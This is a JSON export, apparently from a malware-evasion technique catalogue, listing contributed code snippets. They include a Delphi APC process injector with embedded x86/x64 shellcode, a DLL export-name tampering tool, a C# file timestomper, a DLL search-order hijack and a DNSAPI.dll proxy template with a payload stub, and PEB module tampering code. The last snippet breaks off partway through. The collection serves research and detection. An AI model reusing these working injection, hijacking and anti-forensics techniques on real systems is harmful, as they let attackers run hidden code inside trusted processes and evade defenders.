                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/113/?format=api",
            "description": "This code demonstrate how to use `QueueUserAPC` to run code in a remote process. \r\n\r\nPoC Steps:\r\n\r\n- Create a new process in suspended state.\r\n\r\nMethod N°1:\r\n* Allocate RWX memory in remote process to host our shellcode.\r\n* Copy shellcode to new memory location.\r\n\r\nMethod N°2:\r\n* Create a new memory section.\r\n* Map new memory section to current process.\r\n* Share new memory section with target process.\r\n* Copy shellcode to shared memory location.\r\n\r\n- Implement our shellcode to target process main thread APC queue.\r\n- Resume target process main thread to execute our shellcode.\r\n\r\n⚠️ Embedded shellcode will show a message box on behalf of target process. It is harmless but I always recommend to avoid blindly running shellcode you may find in proof of concepts. Feel free to patch both x86-32 / x86-64 version with your own version.",
            "plain_code": "// Support both x86-32 and x86-64\r\n\r\nprogram APCInjector;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\n{$R *.res}\r\n\r\nuses\r\n  System.SysUtils,\r\n  WinAPI.Messages,\r\n  WinAPI.Windows;\r\n\r\ntype\r\n  EWindowsException = class(Exception)\r\n  private\r\n    FLastError : Integer;\r\n  public\r\n    {@C}\r\n    constructor Create(const WinAPI : String); overload;\r\n\r\n    {@G}\r\n    property LastError : Integer read FLastError;\r\n  end;\r\n\r\n\r\nconst STATUS_SUCCESS         = NTSTATUS($0);\r\n      THREAD_SET_CONTEXT     = $10;\r\n      THREAD_SUSPEND_RESUME  = $2;\r\n      ViewShare              = 1;\r\n      ViewUnmap              = 2;\r\n\r\ntype\r\n  SECTION_INHERIT = ViewShare..ViewUnmap;\r\n\r\n  ARCH_ULONG  = {$IFDEF WIN64} ULONG64  {$ELSE} ULONG  {$ENDIF};\r\n  ARCH_PULONG = {$IFDEF WIN64} PULONG64 {$ELSE} PULONG {$ENDIF};\r\n\r\n  function NtCreateSection(\r\n    SectionHandle    : PHandle;\r\n    DesiredAccess    : ACCESS_MASK;\r\n    ObjectAttributes : Pointer;\r\n    SectionSize      : PLargeInteger;\r\n    Protect          : ULONG;\r\n    Attributes       : ULONG;\r\n    FileHandle       : THandle\r\n  ): NTSTATUS; stdcall; external 'ntdll.dll';\r\n\r\n  function NtMapViewOfSection(\r\n      SectionHandle      : THandle;\r\n      ProcessHandle      : THandle;\r\n      BaseAddress        : PPVOID;\r\n      ZeroBits           : ARCH_ULONG;\r\n      CommitSize         : ARCH_ULONG;\r\n      SectionOffset      : PLargeInteger;\r\n      ViewSize           : ARCH_PULONG;\r\n      InheritDisposition : SECTION_INHERIT;\r\n      AllocationType     : ARCH_ULONG;\r\n      Protect            : ARCH_ULONG\r\n  ): NTSTATUS; stdcall; external 'ntdll.dll';\r\n\r\n  function NtUnmapViewOfSection(\r\n    ProcessHandle : THandle;\r\n    BaseAddress   : PVOID\r\n  ): NTSTATUS; stdcall; external 'ntdll.dll';\r\n\r\n  function NtClose(\r\n    Handle : THandle\r\n  ): NTSTATUS; stdcall; external 'ntdll.dll';\r\n\r\n  function NtTestAlert(): DWORD; stdcall; external 'ntdll.dll';\r\n\r\n  function OpenThread(\r\n    dwDesiredAccess : DWORD;\r\n    bInheritHandle  : BOOL;\r\n    dwThreadId      : DWORD\r\n  ): DWORD; stdcall; external 'kernel32.dll';\r\n\r\n\r\nconstructor EWindowsException.Create(const WinAPI : String);\r\nvar AFormatedMessage : String;\r\nbegin\r\n  FLastError := GetLastError();\r\n\r\n  AFormatedMessage := Format('___%s: last_err=%d, last_err_msg=\"%s\".', [\r\n      WinAPI,\r\n      FLastError,\r\n      SysErrorMessage(FLastError)\r\n  ]);\r\n\r\n  ///\r\n  inherited Create(AFormatedMessage);\r\nend;\r\n\r\nvar // hWindow               : THandle;\r\n    // AProcessId            : Cardinal;\r\n    // AThreadId             : Integer;\r\n    hThread               : THandle;\r\n    // hRemoteProcess        : THandle;\r\n    pRemotePayloadAddress : Pointer;\r\n    hProcess              : THandle;\r\n    AStartupInfo          : TStartupInfo;\r\n    AProcessInfo          : TProcessInformation;\r\n\r\n    {$IFDEF WIN64}\r\n      // Execute a messagebox in target process (x86-64)\r\n      const PAYLOAD : array[0..284-1] of byte = (\r\n          $fc, $48, $81, $e4, $f0, $ff, $ff, $ff, $e8, $d0, $00, $00, $00, $41, $51,\r\n          $41, $50, $52, $51, $56, $48, $31, $d2, $65, $48, $8b, $52, $60, $3e, $48,\r\n          $8b, $52, $18, $3e, $48, $8b, $52, $20, $3e, $48, $8b, $72, $50, $3e, $48,\r\n          $0f, $b7, $4a, $4a, $4d, $31, $c9, $48, $31, $c0, $ac, $3c, $61, $7c, $02,\r\n          $2c, $20, $41, $c1, $c9, $0d, $41, $01, $c1, $e2, $ed, $52, $41, $51, $3e,\r\n          $48, $8b, $52, $20, $3e, $8b, $42, $3c, $48, $01, $d0, $3e, $8b, $80, $88,\r\n          $00, $00, $00, $48, $85, $c0, $74, $6f, $48, $01, $d0, $50, $3e, $8b, $48,\r\n          $18, $3e, $44, $8b, $40, $20, $49, $01, $d0, $e3, $5c, $48, $ff, $c9, $3e,\r\n          $41, $8b, $34, $88, $48, $01, $d6, $4d, $31, $c9, $48, $31, $c0, $ac, $41,\r\n          $c1, $c9, $0d, $41, $01, $c1, $38, $e0, $75, $f1, $3e, $4c, $03, $4c, $24,\r\n          $08, $45, $39, $d1, $75, $d6, $58, $3e, $44, $8b, $40, $24, $49, $01, $d0,\r\n          $66, $3e, $41, $8b, $0c, $48, $3e, $44, $8b, $40, $1c, $49, $01, $d0, $3e,\r\n          $41, $8b, $04, $88, $48, $01, $d0, $41, $58, $41, $58, $5e, $59, $5a, $41,\r\n          $58, $41, $59, $41, $5a, $48, $83, $ec, $20, $41, $52, $ff, $e0, $58, $41,\r\n          $59, $5a, $3e, $48, $8b, $12, $e9, $49, $ff, $ff, $ff, $5d, $49, $c7, $c1,\r\n          $30, $00, $00, $00, $3e, $48, $8d, $95, $fe, $00, $00, $00, $3e, $4c, $8d,\r\n          $85, $0b, $01, $00, $00, $48, $31, $c9, $41, $ba, $45, $83, $56, $07, $ff,\r\n          $d5, $48, $31, $c9, $41, $ba, $f0, $b5, $a2, $56, $ff, $d5, $48, $65, $6c,\r\n          $6c, $6f, $2c, $20, $57, $6f, $72, $6c, $64, $00, $42, $6f, $6f, $00\r\n      );\r\n\r\n    {$ELSE}\r\n      // Execute a messagebox in target process (x86-32)\r\n      const PAYLOAD : array[0..236-1] of byte = (\r\n          $d9, $eb, $9b, $d9, $74, $24, $f4, $31, $d2, $b2, $77, $31, $c9, $64, $8b,\r\n          $71, $30, $8b, $76, $0c, $8b, $76, $1c, $8b, $46, $08, $8b, $7e, $20, $8b,\r\n          $36, $38, $4f, $18, $75, $f3, $59, $01, $d1, $ff, $e1, $60, $8b, $6c, $24,\r\n          $24, $8b, $45, $3c, $8b, $54, $28, $78, $01, $ea, $8b, $4a, $18, $8b, $5a,\r\n          $20, $01, $eb, $e3, $34, $49, $8b, $34, $8b, $01, $ee, $31, $ff, $31, $c0,\r\n          $fc, $ac, $84, $c0, $74, $07, $c1, $cf, $0d, $01, $c7, $eb, $f4, $3b, $7c,\r\n          $24, $28, $75, $e1, $8b, $5a, $24, $01, $eb, $66, $8b, $0c, $4b, $8b, $5a,\r\n          $1c, $01, $eb, $8b, $04, $8b, $01, $e8, $89, $44, $24, $1c, $61, $c3, $b2,\r\n          $04, $29, $d4, $89, $e5, $89, $c2, $68, $8e, $4e, $0e, $ec, $52, $e8, $9f,\r\n          $ff, $ff, $ff, $89, $45, $04, $68, $6c, $6c, $20, $41, $68, $33, $32, $2e,\r\n          $64, $68, $75, $73, $65, $72, $30, $db, $88, $5c, $24, $0a, $89, $e6, $56,\r\n          $ff, $55, $04, $89, $c2, $50, $bb, $a8, $a2, $4d, $bc, $87, $1c, $24, $52,\r\n          $e8, $70, $ff, $ff, $ff, $68, $42, $6f, $6f, $58, $31, $db, $88, $5c, $24,\r\n          $03, $89, $e3, $68, $58, $20, $20, $20, $68, $6f, $72, $6c, $64, $68, $6f,\r\n          $2c, $20, $57, $68, $48, $65, $6c, $6c, $31, $c9, $88, $4c, $24, $0c, $89,\r\n          $e1, $31, $d2, $6a, $30, $53, $51, $52, $ff, $d0, $90\r\n      );\r\n    {$ENDIF}\r\n\r\n\r\n{ Inject_WriteProcessMemory\r\n  This method use the classic WriteProcessMemory method to inject our payload to remote process }\r\nfunction Inject_WriteProcessMemory(const hProcess : THandle; const pBuffer : PVOID; const ABufferSize : Cardinal) : Pointer;\r\nvar ABytesWritten : SIZE_T;\r\n    pAddress      : Pointer;\r\nbegin\r\n  result := nil;\r\n  ///\r\n\r\n  if not Assigned(pBuffer) or (AbufferSize = 0) then\r\n    exit();\r\n\r\n  pAddress := VirtualAllocEx(hProcess, nil, ABufferSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n  if not Assigned(pAddress) then\r\n    raise EWindowsException.Create('VirtualAllocEx');\r\n  ///\r\n\r\n  if not WriteProcessMemory(hProcess, pAddress, pBuffer, ABufferSize, ABytesWritten) then\r\n    raise EWindowsException.Create('WriteProcessMemory');\r\n  ///\r\n\r\n  result := pAddress;\r\nend;\r\n\r\nfunction MapViewOfSection(const ASectionHandle, hProcess : THandle; const ASectionSize : ULONG; const AInherit : SECTION_INHERIT) : Pointer;\r\nvar ANTStatus       : NTSTATUS;\r\n    pSectionAddress : Pointer;\r\nbegin\r\n  pSectionAddress := nil;\r\n\r\n  ANTStatus := NtMapViewOfSection(\r\n      ASectionHandle,\r\n      hProcess,\r\n      @pSectionAddress,\r\n      0,\r\n      0,\r\n      nil,\r\n      @ASectionSize,\r\n      AInherit,\r\n      0,\r\n      PAGE_EXECUTE_READWRITE\r\n  );\r\n\r\n  if ANTStatus <> STATUS_SUCCESS then\r\n    raise Exception.Create(Format('NtMapViewOfSection failed, NTStatus=[%d]', [ANTStatus]));\r\n\r\n  ///\r\n  result := pSectionAddress;\r\nend;\r\n\r\n{ Inject_SharedSection\r\n  This method used a shared section to inject our payload to a remote process }\r\nfunction Inject_SharedSection(const hProcess : THandle; const pBuffer : PVOID; const ABufferSize : Cardinal) : Pointer;\r\nvar ANTStatus             : NTSTATUS;\r\n    ASectionHandle        : THandle;\r\n    pLocalSectionAddress  : Pointer;\r\n    pRemoteSectionAddress : Pointer;\r\n    ASectionSize          : TLargeInteger;\r\nbegin\r\n  result := nil;\r\n  ///\r\n\r\n  ASectionSize := ABufferSize;\r\n\r\n  ASectionHandle := 0;\r\n  pLocalSectionAddress := nil;\r\n  try\r\n    // Create a new memory section\r\n    ANTStatus := NtCreateSection(\r\n      @ASectionHandle,\r\n        SECTION_MAP_READ or SECTION_MAP_WRITE or SECTION_MAP_EXECUTE,\r\n        nil,\r\n        @ASectionSize,\r\n        PAGE_EXECUTE_READWRITE,\r\n        SEC_COMMIT,\r\n        0\r\n    );\r\n\r\n    if ANTStatus <> STATUS_SUCCESS then\r\n      raise Exception.Create(Format('NtCreateSection failed, NTStatus=[%d]', [ANTStatus]));\r\n    ///\r\n\r\n    // Map new section and share it with target process\r\n    pLocalSectionAddress  := MapViewOfSection(ASectionHandle, GetCurrentProcess(), ABufferSize, ViewUnmap);\r\n    pRemoteSectionAddress := MapViewOfSection(ASectionHandle, hProcess, ABufferSize, ViewShare);\r\n\r\n    // Copy our payload to our new section\r\n    CopyMemory(pLocalSectionAddress, pBuffer, ABufferSize);\r\n  finally\r\n    // Unmap section for current process\r\n    if Assigned(pLocalSectionAddress) then\r\n      NtUnmapViewOfSection(GetCurrentProcess(), pLocalSectionAddress);\r\n\r\n    // Close section for our current process\r\n    if ASectionHandle <> 0 then\r\n      NtClose(ASectionHandle);\r\n  end;\r\n\r\n  ///\r\n  result := pRemoteSectionAddress; // Return payload location in remote process\r\nend;\r\n\r\nbegin\r\n  try\r\n    (*\r\n      // Bellow code demonstrate how to use FindWindow + GetWindowThreadProcessId and\r\n      // OpenProcess to achieve the same result in an existing process.\r\n      // Bellow method when possible is interesting to avoid iterating on threads.\r\n\r\n      // Get target process handle from its window handle\r\n      hWindow := FindWindowW(nil, 'PEView - Untitled');\r\n      if hWindow = 0 then\r\n        raise Exception.Create('Could not find window handle.');\r\n      ///\r\n\r\n      // Get target process identifier from its window handle\r\n      AThreadId := GetWindowThreadProcessId(hWindow, AProcessId);\r\n      if AProcessId = 0 then\r\n        raise EWindowsException.Create('GetWindowThreadProcessId');\r\n      ///\r\n\r\n      // Open target process\r\n      hRemoteProcess := OpenProcess(PROCESS_VM_OPERATION or PROCESS_VM_WRITE, false, AProcessId);\r\n      if hRemoteProcess = 0 then\r\n        raise EWindowsException.Create('OpenProcess');\r\n\r\n      // hThread := OpenThread(THREAD_SET_CONTEXT or THREAD_SUSPEND_RESUME, False, AProcessInfo.hThread);\r\n      // if hThread = 0 then\r\n      //    raise EWindowsException.Create('OpenThread');\r\n    *)\r\n\r\n    ZeroMemory(@AProcessInfo, SizeOf(TProcessInformation));\r\n    ZeroMemory(@AStartupInfo, Sizeof(TStartupInfo));\r\n\r\n    AStartupInfo.cb          := SizeOf(TStartupInfo);\r\n    AStartupInfo.wShowWindow := SW_HIDE;\r\n    AStartupInfo.dwFlags     := (STARTF_USESHOWWINDOW);\r\n\r\n    if not CreateProcessW(\r\n        'c:\\Windows\\notepad.exe', // Edit here accordingly\r\n        nil,                      // Edit here accordingly\r\n        nil,\r\n        nil,\r\n        False,\r\n        CREATE_SUSPENDED,\r\n        nil,\r\n        nil,\r\n        AStartupInfo,\r\n        AProcessInfo\r\n    ) then\r\n      raise EWindowsException.Create('CreateProcessW');\r\n    try\r\n\r\n      try\r\n        // Alternatively you can comment \"Inject_SharedSection\" and use \"Inject_WriteProcessMemory\" instead.\r\n        pRemotePayloadAddress := Inject_SharedSection(AProcessInfo.hProcess, @PAYLOAD, Length(PAYLOAD));\r\n        // pRemotePayloadAddress := Inject_WriteProcessMemory(AProcessInfo.hProcess, @PAYLOAD, Length(PAYLOAD));\r\n\r\n        if not Assigned(pRemotePayloadAddress) then\r\n          raise Exception.Create('Could not inject buffer to remote process.');\r\n\r\n        if not QueueUserAPC(pRemotePayloadAddress, AProcessInfo.hThread, 0) then\r\n          raise EWindowsException.Create('QueueUserAPC');\r\n\r\n        ResumeThread(AProcessInfo.hThread);\r\n      finally\r\n        CloseHandle(hThread);\r\n      end;\r\n    finally\r\n      CloseHandle(AProcessInfo.hThread);\r\n    end;\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\nend."
        },
        {
            "id": 122,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 20,
                "username": "Alex Schwarz",
                "email": "null@localhost",
                "linkedin": "https://www.linkedin.com/in/alex-schwarz",
                "twitter": null,
                "website": null,
                "github": "https://github.com/AlSch092"
            },
            "technique": "https://unprotect.it/api/techniques/221/?format=api",
            "description": "",
            "plain_code": "#pragma comment(linker,\"/export:FuncA=DLLExport.FunctionA,@1\") \r\n\r\n#include <iostream>\r\n#include <Windows.h>\r\n#include <ImageHlp.h>\r\n#pragma comment(lib, \"ImageHlp\")\r\n\r\nusing namespace std;\r\n\r\nbool ModifyDLLExportName(string dllName, string functionName, string newName)\r\n{\r\n\tDWORD* dNameRVAs(0);\r\n\t_IMAGE_EXPORT_DIRECTORY* ImageExportDirectory;\r\n\tunsigned long cDirSize;\r\n\t_LOADED_IMAGE LoadedImage;\r\n\tstring sName;\r\n\r\n\tif (MapAndLoad(dllName.c_str(), NULL, &LoadedImage, TRUE, TRUE))\r\n\t{\r\n\t\tImageExportDirectory = (_IMAGE_EXPORT_DIRECTORY*)ImageDirectoryEntryToData(LoadedImage.MappedAddress, false, IMAGE_DIRECTORY_ENTRY_EXPORT, &cDirSize);\r\n\r\n\t\tif (ImageExportDirectory != NULL)\r\n\t\t{\r\n\r\n\t\t\tdNameRVAs = (DWORD*)ImageRvaToVa(LoadedImage.FileHeader, LoadedImage.MappedAddress, ImageExportDirectory->AddressOfNames, NULL);\r\n\r\n\t\t\tfor (size_t i = 0; i < ImageExportDirectory->NumberOfNames; i++)\r\n\t\t\t{\r\n\t\t\t\tsName = (char*)ImageRvaToVa(LoadedImage.FileHeader, LoadedImage.MappedAddress, dNameRVAs[i], NULL);\r\n\r\n\t\t\t\tif (strcmp(functionName.c_str(), sName.c_str()) == 0)\r\n\t\t\t\t{\r\n\t\t\t\t\tUINT64 funcName_Address = (UINT64)GetModuleHandleA(dllName.c_str()) + dNameRVAs[i];\r\n\r\n\t\t\t\t\tDWORD oldProt = 0;\r\n\r\n\t\t\t\t\tif (!VirtualProtect((LPVOID)funcName_Address, 1024, PAGE_EXECUTE_READWRITE, &oldProt))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tprintf(\"VirtualProtect failed: %d\\n\", GetLastError());\r\n\t\t\t\t\t\treturn false;\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tstrcpy_s((char*)funcName_Address, 100, newName.c_str());\r\n\t\t\t\t\t\tprintf(\"Copied over export function name..\\n\");\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tUnMapAndLoad(&LoadedImage);\r\n\t}\r\n\r\n\treturn true;\r\n}\r\n\r\n\r\nint main(void)\r\n{\r\n\t//user-provided DLL Tests\r\n\tLoadLibraryA(\"DllExport.dll\");\r\n\r\n\tDWORD addr_exe = (DWORD)GetProcAddress(GetModuleHandleA(\"ModifyExports.exe\"), \"FuncA\"); //using linker statement at top\r\n\tprintf(\"Addr: %x\\n\", addr_exe);\r\n\r\n\tDWORD addr_dll = (DWORD)GetProcAddress(GetModuleHandleA(\"DllExport.dll\"), \"FunctionA\"); //returns same value as above line (address of DllExport.FunctionA)\r\n\tprintf(\"Addr: %x\\n\", addr_dll);\r\n\r\n\tModifyDLLExportName(\"DllExport.dll\", \"FunctionA\", \"FunctionB\");\r\n\tDWORD addr_dll_B = (DWORD)GetProcAddress(GetModuleHandleA(\"DllExport.dll\"), \"FunctionB\"); //returns same value as above, thus looking up FunctionB gives us FunctionA.\r\n\tprintf(\"Addr: %x\\n\", addr_dll_B);\r\n\r\n\t//WINAPI Tests\r\n\r\n\tDWORD addr = (DWORD)GetProcAddress(GetModuleHandleA(\"kernel32.dll\"), \"VirtualAlloc\"); //this will return 0, as the above line changed the export's name.\r\n\tprintf(\"Addr: %x\\n\", addr);\r\n\tModifyDLLExportName(\"kernel32.dll\", \"VirtualAlloc\", \"VirtualQuery\");\r\n\taddr = (DWORD)GetProcAddress(GetModuleHandleA(\"kernel32.dll\"), \"VirtualAlloc\"); //returns 0\r\n\tprintf(\"Addr: %x\\n\", addr);\r\n\taddr = (DWORD)GetProcAddress(GetModuleHandleA(\"kernel32.dll\"), \"VirtualQuery\"); //now returns the address of VirtualAlloc, not VirtualQuery!\r\n\tprintf(\"Addr: %x\\n\", addr);\r\n\tsystem(\"pause\");\r\n\treturn 0;\r\n}"
        },
        {
            "id": 121,
            "language": {
                "id": 9,
                "label": "C#",
                "code_class": "csharp"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/165/?format=api",
            "description": "This tiny code snippet demonstrate the principle of file time stomping.\r\n\r\nSteps:\r\n\r\n* Enumerate files in current directory (excluding the target file).\r\n* Sort enumerated files by modification date.\r\n* Takes the most recent file and apply its **File Creation Date**, **File Last Modification** and **File Last Access** to our target file.\r\n\r\nAdditional information:\r\n\r\n* Supports relative target file. \r\n* If no files lives inside the current directory, then current directory (parent folder) date information are used.\r\n* If no files lives inside the current directory and current directory is a root path, then timestomp procedure fails.",
            "plain_code": "using System;\r\nusing System.IO;\r\n\r\nvoid timeStomp(String targetFile)\r\n{\r\n    targetFile = Path.GetFullPath(targetFile);\r\n\r\n    if (!File.Exists(targetFile))\r\n    {\r\n        throw new FileNotFoundException(String.Format(\"File \\\"{0}\\\" does not exists.\", targetFile));\r\n    }\r\n\r\n    string? parentDirectory = Path.GetDirectoryName(targetFile);\r\n    bool isInRoot = false;\r\n\r\n    if (parentDirectory == null)\r\n    {\r\n        parentDirectory = Directory.GetDirectoryRoot(targetFile);\r\n        isInRoot = true;\r\n    }\r\n\r\n    var options = new EnumerationOptions()\r\n    {\r\n        IgnoreInaccessible = true,\r\n        RecurseSubdirectories = true,\r\n        AttributesToSkip = FileAttributes.System | FileAttributes.Hidden,\r\n    };\r\n\r\n    var candidates = new DirectoryInfo(parentDirectory)\r\n        .GetFiles(\"*.*\", options)\r\n        .Where(file => !file.FullName.Equals(targetFile, StringComparison.OrdinalIgnoreCase))\r\n        .OrderByDescending(file => file.LastWriteTime)\r\n        .ToList();\r\n\r\n    FileInfo? candidate = null;    \r\n    \r\n    if (candidates.Count > 0)\r\n    {\r\n        candidate = candidates.First();\r\n    }   \r\n    else if (!isInRoot)\r\n    {\r\n        candidate = new FileInfo(parentDirectory);\r\n    }\r\n\r\n    if (candidate != null)\r\n    {\r\n        Console.WriteLine(string.Format(\"Using \\\"{0}\\\" file for timeStomping...\", candidate));\r\n\r\n        File.SetCreationTime(targetFile, candidate.CreationTime);\r\n        File.SetLastAccessTime(targetFile, candidate.LastAccessTime);\r\n        File.SetLastWriteTime(targetFile, candidate.LastWriteTime);\r\n\r\n        Console.WriteLine(\"Done.\");\r\n    }\r\n    else\r\n    {\r\n       throw new Exception(\"Could not find suitable existing file for timeStomping...\");\r\n    }\r\n}\r\n\r\ntimeStomp(\"G:\\\\test\\\\sub7.exe\");"
        },
        {
            "id": 120,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 21,
                "username": "Sh0ckFR",
                "email": "null@localhost",
                "linkedin": "https://www.linkedin.com/in/yann-f/",
                "twitter": "https://twitter.com/Sh0ckFR",
                "website": "https://sh0ckfr.com",
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/220/?format=api",
            "description": "DLL Search Order Hijacking via DnsFreeConfigStructure function in the DLL DNSAPI.dll of the executable nslookup.exe.",
            "plain_code": "#include <windows.h>\r\n\r\nint Main() {\r\n    MessageBoxW(0, L\"DLL Search Order Hijacking is present\", L\"DLL Search Order Hijacking\", 0);\r\n    return 1;\r\n}\r\n\r\nBOOL APIENTRY DllMain(HMODULE hModule,\r\n    DWORD  ul_reason_for_call,\r\n    LPVOID lpReserved\r\n)\r\n{\r\n    switch (ul_reason_for_call)\r\n    {\r\n    case DLL_PROCESS_ATTACH:\r\n        CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Main, NULL, NULL, NULL);\r\n        break;\r\n    case DLL_THREAD_ATTACH:\r\n    case DLL_THREAD_DETACH:\r\n    case DLL_PROCESS_DETACH:\r\n        break;\r\n    }\r\n    return TRUE;\r\n}\r\n\r\n__declspec(dllexport) void DnsFreeConfigStructure() { Main(); }"
        },
        {
            "id": 119,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 21,
                "username": "Sh0ckFR",
                "email": "null@localhost",
                "linkedin": "https://www.linkedin.com/in/yann-f/",
                "twitter": "https://twitter.com/Sh0ckFR",
                "website": "https://sh0ckfr.com",
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/219/?format=api",
            "description": "DLL Proxying code via `DNSAPI.dll` on nslookup.exe, in this exemple, the original `DNSAPI.dll` file must be renamed proxy.dll and the generated dll must be named `DNSAPI.dll`.",
            "plain_code": "#pragma once\r\n#pragma comment(linker,\"/export:AdaptiveTimeout_ClearInterfaceSpecificConfiguration=proxy.AdaptiveTimeout_ClearInterfaceSpecificConfiguration,@1\")\r\n#pragma comment(linker,\"/export:AdaptiveTimeout_ResetAdaptiveTimeout=proxy.AdaptiveTimeout_ResetAdaptiveTimeout,@2\")\r\n#pragma comment(linker,\"/export:AddRefQueryBlobEx=proxy.AddRefQueryBlobEx,@3\")\r\n#pragma comment(linker,\"/export:BreakRecordsIntoBlob=proxy.BreakRecordsIntoBlob,@4\")\r\n#pragma comment(linker,\"/export:Coalesce_UpdateNetVersion=proxy.Coalesce_UpdateNetVersion,@5\")\r\n#pragma comment(linker,\"/export:CombineRecordsInBlob=proxy.CombineRecordsInBlob,@6\")\r\n#pragma comment(linker,\"/export:DeRefQueryBlobEx=proxy.DeRefQueryBlobEx,@7\")\r\n...\r\n\r\nint Main()\r\n{\r\n    // Your payload code.\r\n}\r\n\r\nBOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)\r\n{\r\n    switch (fdwReason)\r\n    {\r\n    case DLL_PROCESS_ATTACH:\r\n        Main();\r\n        break;\r\n    case DLL_THREAD_ATTACH:\r\n        break;\r\n    case DLL_THREAD_DETACH:\r\n        break;\r\n    case DLL_PROCESS_DETACH:\r\n        break;\r\n    }\r\n    return TRUE;\r\n}"
        },
        {
            "id": 118,
            "language": {
                "id": 3,
                "label": "Python",
                "code_class": "python"
            },
            "user": {
                "id": 21,
                "username": "Sh0ckFR",
                "email": "null@localhost",
                "linkedin": "https://www.linkedin.com/in/yann-f/",
                "twitter": "https://twitter.com/Sh0ckFR",
                "website": "https://sh0ckfr.com",
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/219/?format=api",
            "description": "Basic python script to extract all exported functions of a targeted DLL, here DNSAPI.dll used by nslookup.exe.",
            "plain_code": "import pefile\r\n\r\nexported_functions = []\r\npe = pefile.PE('C:\\\\windows\\\\system32\\\\DNSAPI.dll')\r\nfor entry in pe.DIRECTORY_ENTRY_EXPORT.symbols:\r\n    func = entry.name.decode('utf-8')\r\n    exported_functions.append(f'#pragma comment(linker,\"/export:{func}=proxy.{func},@{entry.ordinal}\")')\r\n\r\nexported_functions = '\\n'.join(exported_functions)\r\nprint(exported_functions)"
        },
        {
            "id": 117,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 20,
                "username": "Alex Schwarz",
                "email": "null@localhost",
                "linkedin": "https://www.linkedin.com/in/alex-schwarz",
                "twitter": null,
                "website": null,
                "github": "https://github.com/AlSch092"
            },
            "technique": "https://unprotect.it/api/techniques/218/?format=api",
            "description": "",
            "plain_code": "#include <Windows.h>\r\n#include <Winternl.h>\r\n#include <stdint.h>\r\n\r\nbool ChangeModuleDllBase(const wchar_t* szModule, uint64_t newAddress)\r\n{\r\n\tPPEB PEB = (PPEB)__readgsqword(0x60);\r\n\t_LIST_ENTRY* f = PEB->Ldr->InMemoryOrderModuleList.Flink;\r\n\tbool Found = FALSE;\r\n\tint count = 0;\r\n\r\n\twhile (!Found && count < 256)\r\n\t{\r\n\t\tPLDR_DATA_TABLE_ENTRY dataEntry = CONTAINING_RECORD(f, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);\r\n\r\n\t\tif (wcsstr(dataEntry->FullDllName.Buffer, szModule))\r\n\t\t{\r\n\t\t\tdataEntry->DllBase = (PVOID)newAddress;\r\n\t\t\tFound = TRUE;\r\n\t\t\treturn true;\r\n\t\t}\r\n\r\n\t\tf = dataEntry->InMemoryOrderLinks.Flink;\r\n\t\tcount++;\r\n\t}\r\n\r\n\treturn false;\r\n}\r\n\r\nint main()\r\n{\r\n    ChangeModuleDllBase(L\"YourProgram.exe\", 0x123456789);\r\n    return 0;\r\n}"
        },
        {
            "id": 116,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 20,
                "username": "Alex Schwarz",
                "email": "null@localhost",
                "linkedin": "https://www.linkedin.com/in/alex-schwarz",
                "twitter": null,
                "website": null,
                "github": "https://github.com/AlSch092"
            },
            "technique": "https://unprotect.it/api/techniques/217/?format=api",
            "description": "",
            "plain_code": "// changeModuleNameRuntime.cpp : This file contains the 'main' function. Program execution begins and ends there.\r\n#define _CRT_SECURE_NO_WARNINGS\r\n\r\n#include <iostream>\r\n#include <Windows.h>\r\n#include <Winternl.h>\r\n\r\ntypedef struct _MYPEB {\r\n\tUCHAR InheritedAddressSpace;\r\n\tUCHAR ReadImageFileExecOptions;\r\n\tUCHAR BeingDebugged;\r\n\tUCHAR Spare;\r\n\tPVOID Mutant;\r\n\tPVOID ImageBaseAddress;\r\n\tPEB_LDR_DATA* Ldr;\r\n\tPRTL_USER_PROCESS_PARAMETERS ProcessParameters;\r\n\tPVOID SubSystemData;\r\n\tPVOID ProcessHeap;\r\n\tPVOID FastPebLock;\r\n\tPVOID FastPebLockRoutine;\r\n\tPVOID FastPebUnlockRoutine;\r\n\tULONG EnvironmentUpdateCount;\r\n\tPVOID* KernelCallbackTable;\r\n\tPVOID EventLogSection;\r\n\tPVOID EventLog;\r\n\tPVOID FreeList;\r\n\tULONG TlsExpansionCounter;\r\n\tPVOID TlsBitmap;\r\n\tULONG TlsBitmapBits[0x2];\r\n\tPVOID ReadOnlySharedMemoryBase;\r\n\tPVOID ReadOnlySharedMemoryHeap;\r\n\tPVOID* ReadOnlyStaticServerData;\r\n\tPVOID AnsiCodePageData;\r\n\tPVOID OemCodePageData;\r\n\tPVOID UnicodeCaseTableData;\r\n\tULONG NumberOfProcessors;\r\n\tULONG NtGlobalFlag;\r\n\tUCHAR Spare2[0x4];\r\n\tULARGE_INTEGER CriticalSectionTimeout;\r\n\tULONG HeapSegmentReserve;\r\n\tULONG 